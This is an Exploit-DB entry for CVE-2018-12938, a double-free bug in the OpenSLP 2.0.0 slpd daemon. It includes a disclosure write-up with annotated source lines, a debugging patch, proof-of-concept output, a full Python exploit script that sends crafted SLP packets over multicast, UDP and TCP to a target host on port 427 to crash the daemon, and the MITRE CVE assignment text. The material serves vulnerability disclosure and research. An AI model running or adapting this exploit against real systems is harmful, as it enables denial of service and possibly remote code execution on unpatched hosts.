openslp 2.0.0 - Double-Free

2018-07-03T00:00:00
ID EDB-ID:44972
Type exploitdb
Reporter Exploit-DB
Modified 2018-07-03T00:00:00

Description

openslp 2.0.0 - Double-Free. CVE-2018-12938. Dos exploit for Linux platform

                                        
                                            '''
     _       _      _         _   _        ___
 ___| |___ _| |   _| |___ _ _| |_| |___   |  _|___ ___ ___
|_ -| | . | . |  | . | . | | | . | | -_|  |  _|  _| -_| -_|
|___|_|  _|___|  |___|___|___|___|_|___|  |_| |_| |___|___|
      |_|

2018-06-28

SLPD DOUBLE FREE 
================

CVE-2018-12938

An issue was found in openslp-2.0.0 that can be used to induce a double free bug or memory corruption by
corrupting glibc's doubly-linked memory chunk list. At the time of writing, no patch has been made available.
The issue was discovered by Magnus Klaaborg Stubman.

On line 409 of slpd_process.c, the *sendbuf pointer is copied to result.
On line 251, the first reallocation takes place, potentially free()ing the memory if
it was moved as part of the reallocation.
On line 547, the second reallocation is done, again potentially free()ing the memory
if it has to be moved as part of the reallocation, potentially resulting in a double free bug.

Code snippets from openslp-2.0.0/slpd/slpd_process.c:

  237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode)
  238 {
  ..
  243    size_t initial_buffer_size = 4096;
  ..
  246    /* Special case for when libslp asks slpd (through the loopback) about
  247     * a known DAs. Fill sendbuf with DAAdverts from all known DAs.
  248     */
  249    if (SLPNetIsLoopback(&message->peer))
  250    {
  251       *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation
  ..
  402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf,
  403       int errorcode)
  404 {
  405    int i;
  406    SLPUrlEntry * urlentry;
  407    SLPDDatabaseSrvRqstResult * db = 0;
  408    size_t size = 0;
  409    SLPBuffer result = *sendbuf; <-- pointer is copied
  ..
  460    /* check to to see if a this is a special SrvRqst */
  461    if (SLPCompareString(message->body.srvrqst.srvtypelen,
  462          message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0)
  463    {
  464       errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function
  ..
  546    /* reallocate the result buffer */
  547    result = SLPBufferRealloc(result, size); <-- second reallocation


PROOF OF CONCEPT
================

The following patch can be used to understand the reallocation behavior:

  diff --git a/common/slp_buffer.c b/common/slp_buffer.c
  index 1cab3f5..b3e3ff1 100644
  --- a/common/slp_buffer.c
  +++ b/common/slp_buffer.c
  @@ -104,7 +104,9 @@ SLPBuffer SLPBufferRealloc(SLPBuffer buf, size_t size)
            /* Allocate one extra byte for null terminating strings that
             * occupy the last field of the buffer.
             */
  +         printf("xrealloc(%p, %u) = ", buf, sizeof(struct _SLPBuffer) + size + 1);
            result = xrealloc(buf, sizeof(struct _SLPBuffer) + size + 1);
  +         printf(" = %p\n", result);
            if (result)
                result->allocated = size;
         }

In order to induce a double-free condition the heap must be massaged
such that the reallocation attempts to move memory around.
A proof of concept exploit was developed that demonstrates the vulnerability:

  $ sudo python openslp-2.0.0-double-free-poc.py
  Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd
  Run this script before launching slpd
  [-] Waiting for multicast service request from slpd...
  [+] Got request! Sending reply to 192.168.245.191 427...
  [-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:53309...
  [-] Waiting for response...
  [+] Received 71 bytes from 127.0.0.1:427
  [-] Sending  packet to (multicast) 239.255.255.253:427 from 192.168.245.191:41965...
  [+] Got request! Sending reply to 192.168.245.191 41965...
  [-] Waiting for response from bad-multicast-server.py...
  [+] Received 71 bytes from 192.168.245.191:427
  [-] Connecting to 192.168.245.191:427...
  [+] Connected. Sending...
  [-] Sent packet to 192.168.245.191:427 from 192.168.245.191:39914...
  [+] Done!
  $ sudo ./slpd/slpd -d -c etc/slp.conf
  ...
  xrealloc(0x137ba50, 1449) =  = 0x138dd30
  xrealloc(0x137ba50, 69) =
  *** Error in `./slpd/slpd': double free or corruption (fasttop): 0x000000000137ba50 ***

As shown in slpd's output prior to crashing, 0x138dd30 is returned when 0x137ba50 is
reallocated, thus free()ing 0x137ba50. However, afterwards 0x137ba50 is yet again reallocated,
and due to the layout of the heap, free()d a second time, resulting in a double free.

EXPLOIT
=======

dumpco.re/exploits/openslp-2.0.0-double-free-poc.py:
'''

  import os
  import sys
  import struct
  import socket

  targetIp = "192.168.245.194"

  abuf = ("\x02\x08\xff\xff\xff\x00\x00\x00\x00\x00\x58\x27\x00\x02\x65\x6e" +
     "\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
     "\x00\x00\x00\x00\x00\x00\x00")

  mcastserversock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  mcastserversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  mcastserversock.bind(('239.255.255.253', 427))
  mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY)
  mcastserversock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

  print "Proof-of-concept heap massager and double-free trigger for openslp-2.0.0 slpd\nRun this script before launching slpd and remember to update targetIp variable."
  print "[-] Waiting for multicast service request from slpd..."
  data, addr = mcastserversock.recvfrom(1024)
  print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..."
  mcastserversock.sendto(abuf, (addr[0], addr[1]))

  localhostsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  localhostsock.bind(('127.0.0.1', 0))
  print "[-] Sending first Service Request to 127.0.0.1:427 from 127.0.0.1:" + str(localhostsock.getsockname()[1]) + "..."

  buf = ("\x02\x01\x00\x00\x31\x00\x00\x00\x00\x00\x66\x0b\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x00\x00\x00\x00" +
         "\x00")

  localhostsock.sendto(buf, ('127.0.0.1', 427))
  print "[-] Waiting for response..."
  data, addr = localhostsock.recvfrom(1024)
  print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1])

  clientsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  clientsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  clientsock.bind(('0.0.0.0', 0))
  print "[-] Sending  packet to (multicast) 239.255.255.253:427 from " + targetIp + ":" + str(clientsock.getsockname()[1]) + "..."
  mreq = struct.pack("4sl", socket.inet_aton('239.255.255.253'), socket.INADDR_ANY)
  clientsock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

  buf = ("\x02\x01\x00\x00\x38\x20\x00\x00\x00\x00\x66\x0c\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" +
         "\x41\x55\x4c\x54\x00\x00\x00\x00")

  clientsock.sendto(buf, ('239.255.255.253', 427))

  data, addr = mcastserversock.recvfrom(1024)
  print "[+] Got request! Sending reply to " + addr[0] + " " + str(addr[1]) + "..."
  mcastserversock.sendto(abuf, (addr[0], addr[1]))

  clientsock.close()
  print "[+] Received " + str(len(data)) + " bytes from " + addr[0] + ":" + str(addr[1])

  buf = ("\x02\x01\x00\x00\x38\x00\x00\x00\x00\x00\x66\x0d\x00\x02\x65\x6e" +
         "\x00\x00\x00\x17\x73\x65\x72\x76\x69\x63\x65\x3a\x64\x69\x72\x65" +
         "\x63\x74\x6f\x72\x79\x2d\x61\x67\x65\x6e\x74\x00\x07\x44\x45\x46" +
         "\x41\x55\x4c\x54\x00\x00\x00\x00")

  tcpclientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print "[-] Connecting to " + targetIp + ":427..."
  tcpclientsock.connect((targetIp, 427))
  print "[+] Connected. Sending..."
  tcpclientsock.send(buf)
  print "[-] Sent packet to " + targetIp + ":427 from " + targetIp + ":" + str(tcpclientsock.getsockname()[1]) + "...\n[+] Done!"

'''
IMPACT
======

Although not attempted, the issue may be exploitable such that a remote unauthenticated
attacker may gain Remote Code Execution, since double frees have been known to be exploitable
leading to RCE. As such, this issue may score 'high' on CVSS.

TIMELINE
========

2018-01-22 Discovery
2018-01-23 Vendor notification
2018-06-28 Public disclosure
2018-06-29 MITRE assigned CVE-ID

REFERENCES
==========

- nvd.nist.gov/vuln/detail/CVE-2018-12938
- cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12938
- vuldb.com/?id.120078
- securityfocus.com/bid/104576
- access.redhat.com/security/cve/cve-2018-12938
- bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-12938


CVE ASSIGNMENT
==============

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

[Suggested description]
slpd_process.c in OpenSLP 2.0.0 has a double free resulting in
denial of service (daemon crash) or possibly unauthenticated remote code execution.

------------------------------------------

[Additional Information]
A proof of concept exploit has been developed, but due to size
constraints of this form it cannot sent. I can provide it over e-mail
if needed. I originally reported this issue to the maintainers on
2018-01-23 but they have failed to provide a patch. I am publicly
disclosing the issue as soon as a CVE-ID is assigned.

Vulnerability:
On line 409 of slpd_process.c, the *sendbuf pointer is copied to result.
On line 251, the first reallocation takes place, potentially free()ing the memory if
it was moved as part of the reallocation.
On line 547, the second reallocation is done, again potentially free()ing the memory
if it has to be moved as part of the reallocation, potentially resulting in a double free bug.

Code snippets from openslp-2.0.0/slpd/slpd_process.c:

237 static int ProcessDASrvRqst(SLPMessage * message, SLPBuffer * sendbuf, int errorcode)
238 {
...
243    size_t initial_buffer_size = 4096;
...
246    /* Special case for when libslp asks slpd (through the loopback) about
247     * a known DAs. Fill sendbuf with DAAdverts from all known DAs.
248     */
249    if (SLPNetIsLoopback(&message->peer))
250    {
251       *sendbuf = SLPBufferRealloc(*sendbuf, initial_buffer_size); <-- first reallocation
...
402 static int ProcessSrvRqst(SLPMessage * message, SLPBuffer * sendbuf,
403       int errorcode)
404 {
405    int i;
406    SLPUrlEntry * urlentry;
407    SLPDDatabaseSrvRqstResult * db = 0;
408    size_t size = 0;
409    SLPBuffer result = *sendbuf; <-- pointer is copied
...
460    /* check to to see if a this is a special SrvRqst */
461    if (SLPCompareString(message->body.srvrqst.srvtypelen,
462          message->body.srvrqst.srvtype, 23, SLP_DA_SERVICE_TYPE) == 0)
463    {
464       errorcode = ProcessDASrvRqst(message, sendbuf, errorcode); <-- sendbuf passed to function
...
546    /* reallocate the result buffer */
547    result = SLPBufferRealloc(result, size); <-- second reallocation

------------------------------------------

[VulnerabilityType Other]
Double free

------------------------------------------

[Vendor of Product]
openslp.org

------------------------------------------

[Affected Product Code Base]
openslp - 2.0.0 and earlier

------------------------------------------

[Affected Component]
openslp-2.0.0/slpd/slpd_process.c

------------------------------------------

[Attack Type]
Remote

------------------------------------------

[Impact Code execution]
true

------------------------------------------

[Impact Denial of Service]
true

------------------------------------------

[Attack Vectors]
To exploit the vulnerability, a malicious user must send a malformed SLP packet to the target system.

------------------------------------------

[Has vendor confirmed or acknowledged the vulnerability?]
true

------------------------------------------

[Discoverer]
Magnus Klaaborg Stubman

------------------------------------------

[Reference]
dumpco.re/blog/openslp-2.0.0-double-free

Use CVE-2018-12938.


- --
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[ A PGP key is available for encrypted communications at
 cve.mitre.org/cve/request_id.html ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCAAGBQJbNWOrAAoJEA2h+fVryJLoqocP/iwnxfQU+gKSj4HGdxTI6hZt
raqOEC4/Pgpg7Ha2tU5jw1STfUnesPk0tDMfwSioTDYQCHWn9wWg2Yg7SIzovH0t
wjdI0L//THgMVjnAwZroLcoWGFUCOVu8umjcXO15y0DhllCEoSzjNXKcRKPOA0ix
Ej2Pc15umaqNO1HsLnvOOhvp1wMWOXsPNVnC+YrExbIA9FA1+bdUGSDRY4qpcvuh
m+ZLzPdlu2WQJDB11TfEYrfEQkbwcOUGgvVY/Gr3zFBvviP8tf69IsKVkGHKdZ3w
6+Ev/GMTWXH0Zg36Oxpxe4jVDmm0gKJr7JmLNB9FhhKMYHIqG8k2pmhGzjDJ7emC
P7o/dpuRjXbIw4JWxjju7fDrWP0pbqD9Ezu3jiqfjSFypCFhSCbY+pGZEOS1/Myt
MdW7jsfUXZnZXudq1ihttEJMBxbsOdbZo/XnfSF/77AX74dJn1Irsq972iUF5wpK
iIlM6dGrBwVO3igmQr6821+F5tJ45GuR9cxUOtNJsUIJ0sULzaiZEspXTbu/hxlt
SjKGrqppZm0jt89d8i7ugkhDZCPODU/ELjJtu58Bd5SG5AtF0E80gMIDEOmq6qj2
oyUrmCaRHghHtzwJpYzRwMwjCMRg0XnuJ4YM0NQjiDYXgS6+yh/56t8M/9PLt4Nj
AKXh3pI64gZWkAXJexiW
=iMrL
-----END PGP SIGNATURE-----
'''